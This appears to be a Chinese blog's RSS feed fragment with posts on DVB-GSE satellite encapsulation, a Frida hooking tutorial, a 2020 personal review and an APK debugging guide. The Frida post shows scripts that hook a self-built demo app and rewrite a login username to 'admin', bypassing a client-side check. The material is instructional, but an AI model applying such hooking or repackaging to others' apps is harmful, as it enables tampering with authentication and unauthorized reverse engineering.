&lt;li&gt;中间PDU片段 S 位和 E 位等于 &quot;0&quot;。&lt;/li&gt;
&lt;li&gt;最后一个 GSE 数据包的 S 位应等于 &quot;0&quot;，E 位等于 &quot;1&quot;。&lt;/li&gt;
&lt;li&gt;一个 PDU 没穿完，它的 Frag ID 不得重复使用。&lt;/li&gt;
&lt;li&gt;具有相同片段 ID 的 GSE 数据包必须按顺序传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Total Length这个是保存PDU的总长度，所以通常在PDU碎片的第一个包中才有。总长度最高65536个字节，CRC-32不包含其中。&lt;/p&gt;
&lt;p&gt;Protocol Type 0-0x5FF表示Next Header，0x600-0xFFFF表示 Ether Type。&lt;/p&gt;
&lt;h3&gt;CRC-32&lt;/h3&gt;
&lt;p&gt;为了防止PDU包的数据丢失，所以在PDU最后一个GSE包放入一个32位的CRC字段。定义的CRC多项式为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://photo-1302246897.cos.ap-singapore.myqcloud.com/blog/20211119115151.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;初始累积器为0xFFFFFFFF。然后PDU的字节、总长度、协议类型、标签、扩展头等计算。&lt;/p&gt;
&lt;h3&gt;数据字段&lt;/h3&gt;
&lt;p&gt;Protocol Type定义了扩展头，扩展头属于数据的一部分，所以数据段的数据结构如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20211119115152.Cw6DbGt5.png&amp;#x26;w=1162&amp;#x26;h=254&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果有可选扩展头，跟在GSE头之后&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果有强制性扩展头，跟在可选扩展头之后&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PDU跟在强制扩展头之后。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面三部分都不是必须有的。&lt;/p&gt;
&lt;h2&gt;解析流程图&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20211119115153.DXKfETXV.png&amp;#x26;w=866&amp;#x26;h=2168&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;PDU分片&lt;/h2&gt;
&lt;h3&gt;首包&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;S 位设置1，E 位设置 0&lt;/li&gt;
&lt;li&gt;GSE 长度设置为计算出的字节数（包括数据的长度和片段 ID 字段、总长度字段、协议类型字段、标签字段和任何扩展头等长度）。&lt;/li&gt;
&lt;li&gt;将 Frag ID 设置为一个任意值。&lt;/li&gt;
&lt;li&gt;总长度字段设置为计算出的字节数，（PDU、协议类型字段、标签字段和扩展头的长度。）&lt;/li&gt;
&lt;li&gt;添加一个协议类型。&lt;/li&gt;
&lt;li&gt;添加标签字段。（如果需要）&lt;/li&gt;
&lt;li&gt;放入第一段PDU碎片数据。&lt;/li&gt;
&lt;li&gt;GSE包放入基带桢&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;中间包&lt;/h3&gt;
&lt;p&gt;（如果PDU分为2个以上碎片时）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;S 位设置0，E 位设置 0&lt;/li&gt;
&lt;li&gt;GSE 长度设置为计算出的字节数（包括数据的长度和片段 ID 字段长度）。&lt;/li&gt;
&lt;li&gt;将 Frag ID 设置为首包设置的值。&lt;/li&gt;
&lt;li&gt;放入一段PDU碎片数据。（按顺序放）&lt;/li&gt;
&lt;li&gt;GSE包放入基带桢&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;尾包&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;S 位设置0，E 位设置 1&lt;/li&gt;
&lt;li&gt;GSE 长度设置为计算出的字节数（包括数据的长度和片段 ID 字段、CRC-32字段长度）。&lt;/li&gt;
&lt;li&gt;将 Frag ID 设置为首包设置的值。&lt;/li&gt;
&lt;li&gt;总长度字段设置为计算出的字节数，（PDU、协议类型字段、标签字段和扩展头的长度。）&lt;/li&gt;
&lt;li&gt;放入最后一段PDU碎片数据，并加上CRC-32值。&lt;/li&gt;
&lt;li&gt;GSE包放入基带桢&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;封装器调度&lt;/h2&gt;
&lt;p&gt;GSE封装器中的调度器，在基带桢中是智能放置，以提高效率。&lt;/p&gt;
&lt;p&gt;如下图，PDU1、PDU2 和 PDU3 构成一个 PDU 序列，由调度器预先排定。（MODCOD 表示PDU 相关的调制格式和编码率）如果 MODCOD2 的效率高于 MODCOD1 的效率，那么我们应该采取 MODCOD1 对应的才会更稳定。PDU 被封装并由 GSE 封装器排入基带帧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20211119115154.B5L3Y2WG.png&amp;#x26;w=1348&amp;#x26;h=424&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;当 PDU 被分割时，像上图 PDU2 ，剩余的 PDU 片段被封装在一个独立的 GSE 包中，在下一个基带帧中传输。如果没有利用智能调度策略，PDU2剩余的包与PDU3的包封装在同一个基带桢里。基带桢不得不降级。而如下图操作，能实现更好的系统效率。&lt;/p&gt;
&lt;h2&gt;后记（2023补充）&lt;/h2&gt;
&lt;p&gt;在实际应用中，卫星数据流可能受多种因素影响，可能会遇到数据丢失的情况，这对于数据解析产生一定的影响。我与朋友针对这一问题进行了探索，并在&lt;a href=&quot;https://www.ndss-symposium.org/ndss-paper/auto-draft-409/&quot;&gt;SpaceSec&lt;/a&gt;与&lt;a href=&quot;https://www.blackhat.com/us-23/arsenal/schedule/index.html#clextract-an-end-to-end-tool-decoding-highly-corrupted-satellite-stream-from-eavesdropping-31622&quot;&gt;Blackhat Arsenal&lt;/a&gt;上发表了解决方法，欢迎查看详细内容。&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;本文主要参考 ETSI 官方协议文档。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>frida学习[持续更……]</title><link>https://minhal.me/blog/frida</link><guid isPermaLink="true">https://minhal.me/blog/frida</guid><description>Frida 动态插桩工具学习笔记</description><pubDate>Tue, 06 Apr 2021 17:11:27 GMT</pubDate><content:encoded>&lt;p&gt;记录frida学习的一些东西。&lt;/p&gt;
&lt;h1&gt;环境&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;kali2020&lt;/li&gt;
&lt;li&gt;小米6已ROOT刷入android10原生系统&lt;/li&gt;
&lt;li&gt;python版本3.8&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;安装&lt;/h1&gt;
&lt;h2&gt;安装库&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;pip install frida
pip install frida-tools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以直接安装对应版本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;pip install frida==x.x.x
pip install frida-tools==x.x.x
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装server&lt;/h2&gt;
&lt;h3&gt;下载server&lt;/h3&gt;
&lt;p&gt;直接进入 &lt;a href=&quot;https://github.com/frida/frida/releases&quot;&gt;frida rlease&lt;/a&gt; 页面下载，这里要与安装的frida库版本对应，同时与手机架构对应。&lt;/p&gt;
&lt;h3&gt;安装server&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;adb push frida-server /data/local/tmp # 把serverpush到手机中&lt;/li&gt;
&lt;li&gt;adb shell # 进入手机控制台&lt;/li&gt;
&lt;li&gt;su # 获取控制权限&lt;/li&gt;
&lt;li&gt;cd /data/local/tmp #进入目录&lt;/li&gt;
&lt;li&gt;chmod 777 frida-server #添加权限&lt;/li&gt;
&lt;li&gt;./frida-server &amp;#x26; #添加到后台运行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以通过命令frida-ps -R 检查是否成功。&lt;/p&gt;
&lt;h1&gt;frida 基础&lt;/h1&gt;
&lt;h2&gt;基础样例&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import time
import frida

# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn([&quot;com.minhal.demo2&quot;])
device.resume(pid)#通过pid重新启动
time.sleep(1)
session = device.attach(pid)
# 加载a.js脚本
with open(&quot;a.js&quot;) as f:
    script = session.create_script(f.read())#上一步连接到的session 去执行js
script.load()

# 脚本会持续运行等待输入
input()

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;hook参数、修改结果（重载、隐藏函数的处理）&lt;/h2&gt;
&lt;p&gt;demo样例源代码。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.minhal.demo2;

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
    private String total = &quot;@@@###@@@&quot;;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

    while (true){

        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        fun(50,30);
        Log.d(&quot;Minhal.string&quot; , fun(&quot;Fuck U!!!!!!!!!&quot;));
    }

}
    void fun(int x , int y ){
        Log.d(&quot;Minhal.Sum&quot; , String.valueOf(x+y));
    }
    String fun(String x){
        total +=x;
        return x.toLowerCase();
    }

    String secret(){
        return total;
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把这段代码编译成apk后安装在测试机，连接到主机通过 可以查看系统日志。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20210406172720.CltCGzaH.png&amp;#x26;w=636&amp;#x26;h=428&amp;#x26;f=webp&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后接下来是js代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;console.log(&quot;Script loaded successfully &quot;);
Java.perform(function x() {
    console.log(&quot;Inside java perform function&quot;);
    //定位类
    console.log(&quot;begin&quot;);
    Java.choose(&quot;com.minhal.demo2.MainActivity&quot; , {
    onMatch : function(instance){ //该类有多少个实例，该回调就会被触发多少次
        console.log(&quot;Found instance: &quot;+instance);
        console.log(&quot;Result of secret func: &quot; + instance.secret());
    },
    onComplete:function(){}
    });
    console.log(&quot;end&quot;);
    var my_class = Java.use(&quot;com.minhal.demo2.MainActivity&quot;);
    var string_class = Java.use(&quot;java.lang.String&quot;); //获取String类型
    console.log(&quot;Java.Use.Successfully!&quot;);//定位类成功！
    //在这里更改类的方法的实现（implementation）
    my_class.fun.overload(&quot;int&quot; , &quot;int&quot;).implementation = function(x,y){
        //打印替换前的参数
        console.log( &quot;original call: fun(&quot;+ x + &quot;, &quot; + y + &quot;)&quot;);
        //把参数替换成2和5，依旧调用原函数
        var ret_value = this.fun(2, 5);
        return ret_value;
    }
    my_class.fun.overload(&quot;java.lang.String&quot;).implementation = function(x){
        console.log(&quot;*************************************&quot;);
        var my_string = string_class.$new(&quot;My TeSt String#####&quot;); //new一个新字符串
        console.log(&quot;Original arg: &quot; +x );
        var ret =  this.fun(my_string); // 用新的参数替换旧的参数，然后调用原函数获取结果
        console.log(&quot;Return value: &quot;+ret);
        console.log(&quot;*************************************&quot;);
        return ret;
      };
    });

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20210406172721.BH883t05.png&amp;#x26;w=505&amp;#x26;h=419&amp;#x26;f=webp&quot; alt=&quot;3&quot;&gt;&lt;/p&gt;
&lt;p&gt;查看日志变化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20210406172722.BAsG1is-.png&amp;#x26;w=735&amp;#x26;h=421&amp;#x26;f=webp&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;
&lt;h2&gt;远程调用&lt;/h2&gt;
&lt;p&gt;这个实力主要是实现在py脚本中也可以调用secret函数。这里主要是使用的frida提供的RPC功能（Remote Procedure Call）&lt;/p&gt;
&lt;p&gt;apk文件还是上一个样例的文件。&lt;/p&gt;
&lt;p&gt;现在修改下js脚本。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;console.log(&quot;Script loaded successfully &quot;);
function callsecretFun(){
    Java.perform(function x() {
        console.log(&quot;Inside java perform function&quot;);
        //定位类
        console.log(&quot;begin&quot;);
        Java.choose(&quot;com.minhal.demo2.MainActivity&quot; , {
        onMatch : function(instance){ //该类有多少个实例，该回调就会被触发多少次
            console.log(&quot;Found instance: &quot;+instance);
            console.log(&quot;Result of secret func: &quot; + instance.secret());
        },
        onComplete:function(){}
        });
        console.log(&quot;end&quot;);
        
       
    });
}
rpc.exports = {
    callsecretfunction:callsecretFun//把callSecretFun函数导出为callsecretfunction符号，导出名不可以有大写字母或者下划线
};

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后修改对应的py代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import time
import frida

# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn([&quot;com.minhal.demo2&quot;])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
# 加载s1.js脚本
with open(&quot;a.js&quot;) as f:
    script = session.create_script(f.read())
script.load()

command = &quot;&quot;
while 1 == 1:
    command = input(&quot;Enter command:\n1: Exit\n2: Call secret function\nchoice:&quot;)
    if command == &quot;1&quot;:
        break
    elif command == &quot;2&quot;: #在这里调用
        script.exports.callsecretfunction()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行python脚本得到下面内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20210406172723.CMn1U-rU.jpg&amp;#x26;w=1080&amp;#x26;h=2400&amp;#x26;f=webp&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;
&lt;h2&gt;动态修改&lt;/h2&gt;
&lt;p&gt;这里主要实现的功能不仅仅是可以用python调用app的函数。还要做到把数据从app传到python程序中，通过python代码修改传回到app里。
app代码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;package com.minhal.demo3;

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {
    EditText username_et;
    EditText password_et;
    TextView message_tv;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        password_et = (EditText) this.findViewById(R.id.editText2);
        username_et = (EditText) this.findViewById(R.id.editText);
        message_tv = ((TextView) findViewById(R.id.textView));

        this.findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                if (username_et.getText().toString().compareTo(&quot;admin&quot;) == 0) {
                    message_tv.setText(&quot;You cannot login as admin&quot;);
                    return;
                }
                //hook target
                message_tv.setText(&quot;Sending to the server :&quot; + Base64.encodeToString((username_et.getText().toString() + &quot;:&quot; + password_et.getText().toString()).getBytes(), Base64.DEFAULT));

            }
        });

    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;app界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20210406172724.DADZzbHD.png&amp;#x26;w=666&amp;#x26;h=279&amp;#x26;f=webp&quot; alt=&quot;5&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下来操作是python代码获取输入内容，并修改输入内容然后传输到app，通过验证。（包括admin）
js代码主要实现是先截到输入内容，传输到python代码，然后等python传入新数据继续执行。
js代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-JavaScript&quot;&gt;console.log(&quot;Script loaded successfully &quot;);

Java.perform(function () {
    var tv_class = Java.use(&quot;android.widget.TextView&quot;);
    tv_class.setText.overload(&quot;java.lang.CharSequence&quot;).implementation = function (x) {
        var string_to_send = x.toString();
        var string_to_recv;
        console.log(&quot;Script loaded successfully &quot;);
        send(string_to_send); // 将数据发送给python的python代码
        recv(function (received_json_object) {
            string_to_recv = received_json_object.my_data
            console.log(&quot;string_to_recv: &quot; + string_to_recv);
        }).wait(); //收到数据之后，再执行下去
        var my_string = Java.use(&quot;java.lang.String&quot;).$new(string_to_recv);
        this.setText(my_string);
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;python代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import time
import frida
import base64
def my_message_handler(message, payload):
    print(message)
    print(payload)
    if message[&quot;type&quot;] == &quot;send&quot;:
        print (message[&quot;payload&quot;])
        data = message[&quot;payload&quot;].split(&quot;:&quot;)[1].strip()
        print(data)
        print (&apos;message:&apos;, message)
        data = str(base64.b64decode(data))
        user,pw = data.split(&quot;:&quot;)
        print(&quot;user:&quot;,user)
        data =str(base64.b64encode((&quot;admin&quot; + &quot;:&quot; + pw).encode()))
        print (&quot;encoded data:&quot;, data)
        script.post({&quot;my_data&quot;: data})  # 将JSON对象发送回去
        print (&quot;Modified data sent&quot;)


# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn([&quot;com.minhal.demo3&quot;])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
# 加载a.js脚本
with open(&quot;a.js&quot;) as f:
    script = session.create_script(f.read())
script.on(&quot;message&quot;, my_message_handler)
script.load()
input()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接运行python代码，然后输入新的用户名和密码，我们原程序是本来不可以输入admin的，我们本代码就是通过输入其他内容，通过frida更改他的用户名参数，使得输入内容用户名为admin。
执行结果如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20210406172725.DuxYYUPC.png&amp;#x26;w=669&amp;#x26;h=220&amp;#x26;f=webp&quot; alt=&quot;6&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后就实现了动态内容的修改。&lt;/p&gt;
&lt;h1&gt;参考链接&lt;/h1&gt;
&lt;p&gt;Android Application Security Study [https://github.com/r0ysue/AndroidSecurityStudy]
Frida Android hook[https://eternalsakura13.com/2020/07/04/frida/]&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>2020年总结</title><link>https://minhal.me/blog/2020_summary</link><guid isPermaLink="true">https://minhal.me/blog/2020_summary</guid><description>2020 年度总结</description><pubDate>Fri, 01 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;2020年过的有些仓促，这一年发生了很多事情。这一年或许是近些年的一个转折点，对于自己也算一直很重要的节点吧。一直想写个总结，总算开始敲起了流水账。2021新的一年，也要加油了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;“新冠”是2020最热的事件。2020年年初考完试兜兜转转最终9号还是踏上了回家的路。从知乎看到武汉有确诊不明传染病到回到家后的越来越严重。当时也没想到自己正在经历一场会影响全球的大事件。疫情让2020的春节不一样，不串门窝在家里看到的是大家晒吃的，那段时间闷不住了就是出去去自家后山上面走路散步。那段时间，时常由于焦虑感到胸闷，误以为自己得了新冠。&lt;/p&gt;
&lt;p&gt;2020也是第一次体会到在“家里蹲”上大学，还记得第一课的计网，早早起床准备着上课，之后也逐渐变的懒散起来。由于疫情在家上课也使得自己体重上升，在家上课没有了想家的烦恼，过得格外快。在听到9月返校的时候，毫无犹豫订到了去往学校的车票。&lt;/p&gt;
&lt;p&gt;国庆节，一个人去了武大的疫情纪念馆，看到了华西的医疗队伍，莫名的有些亲切感。看到几岁小朋友给护士写的信，忍不住落泪；看到一线医护人员穿过的战袍，用的器械。感受到的都是祖国的强大。&lt;/p&gt;
&lt;p&gt;2021年，也希望疫情逐渐过去。在2020的尾声，国家卫健委也宣布了疫苗免费的好消息。赞！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;2020年，参加了很多竞赛，虽然疫情原因很多竞赛取消了。从年初开始准备的国赛作品赛；虽然国赛作品赛被很多人称为PPT大赛，但还是收获颇多。项目开发，共同柔和；文字打磨，答辩等都是一次又一次的修改。在最终答辩“翻车”中，还是功夫不负有心人拿到了一等奖和国内仅2个的最具创新价值奖。通过这个奖被保推到了互联网+全国总决赛。9月份，就在互联网+的忙碌中度过。&lt;/p&gt;
&lt;p&gt;9月几乎没上过课，一直在望江备战决赛。互联网+的比赛比起之前的技术类比赛显然风格不一样，所以经验不足。好在在学长的帮助组成了一个团队。这个月里，每天都挺累的。常常熬夜，偶尔也会通宵。最终比赛结果也没能进入围。但这个月确实收获颇多。这一个月如梦一般，相似体验了一次创业；了解到了很多公司的运作，产品模式。也见到了很多大佬。这一次无成本的“创业”经历也是大学里最难忘的吧。&lt;/p&gt;
&lt;p&gt;作品赛之外主要就是参加CTF竞赛，省赛今年如愿拿到了一等奖；国赛不尽人意，有自己的失误，有比赛场上环境的变化，最终结果不是太好。如果明年有机会也可能重新冲回来。之后还在西湖论剑与很多朋友面基，第一次参加IoT竞赛经验还是不足，需要总结的还是很多。&lt;/p&gt;
&lt;p&gt;这一年，协会发展也很不错。从年中开始，跟小伙伴一起把协会发展模式改变，办两次比赛也发现了后生力量。希望2021年，协会不出现断层现象吧，发展越来越好。&lt;/p&gt;
&lt;p&gt;这一年的技术长进感觉不是很满意，很多目标也没怎么做好。知乎，公众号可能是很大一部分知识的来源；对于根基知识与知识架构的建立还是有很大的不足，在2021年要改变现状，多看一些书籍来构建知识网络。大学以来，也不怎么看技术外的书了，这一年也逐渐明白到技术不是唯一，在2021一年还是需要建起那些非技术书籍增加一些人文素养。&lt;/p&gt;
&lt;p&gt;2020年已去，2021年出发！&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Android Studio调试apk</title><link>https://minhal.me/blog/android_studio_debugging_app</link><guid isPermaLink="true">https://minhal.me/blog/android_studio_debugging_app</guid><description>Android Studio 调试 APK 教程</description><pubDate>Sat, 07 Nov 2020 11:36:54 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;最近在逆向一个某工程性的APK文件，由于加了一些混淆和其他原因，需要动态调试理解一些关键代码，于是搭建了android studio调试环境。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;APK的调试有很多方法，个人还是习惯Android Studio 配合JEB的伪代码来进行调试。&lt;/p&gt;
&lt;h2&gt;反编译&lt;/h2&gt;
&lt;p&gt;首先需要使用工具反编译apk。&lt;/p&gt;
&lt;h3&gt;Apktool&lt;/h3&gt;
&lt;p&gt;可以直接用Apktool反编译&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151801.BMWDg0qs.png&amp;#x26;w=496&amp;#x26;h=394&amp;#x26;f=webp&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
&lt;p&gt;也也可以通过Android Killer反编译（原理其实就是集成Apttool）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151804.Csierrdz.png&amp;#x26;w=887&amp;#x26;h=676&amp;#x26;f=webp&quot; alt=&quot;3&quot;&gt;&lt;/p&gt;
&lt;p&gt;还可以使用  &lt;strong&gt;java -jar apktool.jar d MyApp.apk&lt;/strong&gt; 命令调用apktool。&lt;/p&gt;
&lt;p&gt;Android Studio3.x已经自带反编译，所以可以直接导入。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151803.V1NsVqb4.png&amp;#x26;w=457&amp;#x26;h=418&amp;#x26;f=webp&quot; alt=&quot;4&quot;&gt;&lt;/p&gt;
&lt;h2&gt;导入Android Studio&lt;/h2&gt;
&lt;p&gt;如果没用自AS自带的反编译，可以选择&lt;strong&gt;Import Project&lt;/strong&gt;导入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151802.DfRPWhBS.png&amp;#x26;w=793&amp;#x26;h=499&amp;#x26;f=webp&quot; alt=&quot;2&quot;&gt;
一直选择“Next“。&lt;/p&gt;
&lt;h2&gt;插件安装&lt;/h2&gt;
&lt;p&gt;安装smaliidea插件，来对smali代码进行处理。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151805.DP4dvbTW.png&amp;#x26;w=1028&amp;#x26;h=719&amp;#x26;f=webp&quot; alt=&quot;5&quot;&gt;&lt;/p&gt;
&lt;h2&gt;修改代码&lt;/h2&gt;
&lt;p&gt;AndroidManifest.xml文件中在application中改为true(如果没有添加上)：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;​     &lt;em&gt;android:debuggable=&quot;true&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151807.Bwl5bWNt.png&amp;#x26;w=189&amp;#x26;h=38&amp;#x26;f=webp&quot; alt=&quot;7&quot;&gt;&lt;/p&gt;
&lt;h2&gt;设置Sources Root&lt;/h2&gt;
&lt;p&gt;在AndroidStudio工程中右键点击smali文件夹，设定Mark Directory as -&gt; Sources Root&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151808.DniXhX4C.png&amp;#x26;w=544&amp;#x26;h=655&amp;#x26;f=webp&quot; alt=&quot;8&quot;&gt;&lt;/p&gt;
&lt;h2&gt;重新编译&lt;/h2&gt;
&lt;p&gt;如果之前改过代码，这步要重新编译签名程序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;java -jar apktool.jar b MyApp -o newMyApp.apk&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;启动DDMS&lt;/h2&gt;
&lt;p&gt;启动DDMS，在Android Studio 3.x可能在tools菜单找不到DDMS，可以直接在terninal 输入 monitor启动。&lt;/p&gt;
&lt;p&gt;打开后可能会遇到
&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151806.r-iUFWoo.png&amp;#x26;w=522&amp;#x26;h=172&amp;#x26;f=webp&quot; alt=&quot;6&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个时候可以按照提示改下端口号。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151809.D4zFYDGp.png&amp;#x26;w=635&amp;#x26;h=561&amp;#x26;f=webp&quot; alt=&quot;9&quot;&gt;&lt;/p&gt;
&lt;p&gt;如果改了还不行可以先启动monitor，再打开Android Studio即可。&lt;/p&gt;
&lt;h2&gt;配置调试&lt;/h2&gt;
&lt;p&gt;在AndroidStudio里面配置远程调试的选项，选择Run -&gt; Edit Configurations&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151810.DBty--kS.png&amp;#x26;w=385&amp;#x26;h=64&amp;#x26;f=webp&quot; alt=&quot;10&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后选择加号新建一个远程调试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151811.B2O7mAYp.png&amp;#x26;w=281&amp;#x26;h=456&amp;#x26;f=webp&quot; alt=&quot;11&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后进行配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151812.D5z9lfwI.png&amp;#x26;w=1056&amp;#x26;h=610&amp;#x26;f=webp&quot; alt=&quot;12&quot;&gt;&lt;/p&gt;
&lt;h2&gt;调试&lt;/h2&gt;
&lt;p&gt;配置完成后即可调试，直接在想调试的地方下断点。在DDMS中选择要调试的程序。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20201219151813.CSFGNN_5.png&amp;#x26;w=718&amp;#x26;h=593&amp;#x26;f=webp&quot; alt=&quot;13&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后Run-&gt;Debug &apos;name&apos;来启动调试。&lt;/p&gt;
&lt;h2&gt;模拟器连接&lt;/h2&gt;
&lt;p&gt;如果通过模拟器来调试可以参考模拟器连接端口&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;夜神模拟器：adb connect 127.0.0.1:62001&lt;/li&gt;
&lt;li&gt;逍遥安卓模拟器：adb connect 127.0.0.1:21503&lt;/li&gt;
&lt;li&gt;天天模拟器：adb connect 127.0.0.1:6555&lt;/li&gt;
&lt;li&gt;海马玩模拟器：adb connect 127.0.0.1:53001&lt;/li&gt;
&lt;li&gt;网易MUMU模拟器：adb connect 127.0.0.1:7555&lt;/li&gt;
&lt;li&gt;原生模拟器：adb connect (你的IP地址)：5555&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RCTF cipher</title><link>https://minhal.me/blog/rctf-cipher</link><guid isPermaLink="true">https://minhal.me/blog/rctf-cipher</guid><description>RCTF Cipher 题解</description><pubDate>Tue, 02 Jun 2020 12:28:08 GMT</pubDate><content:encoded>&lt;blockquote&gt;
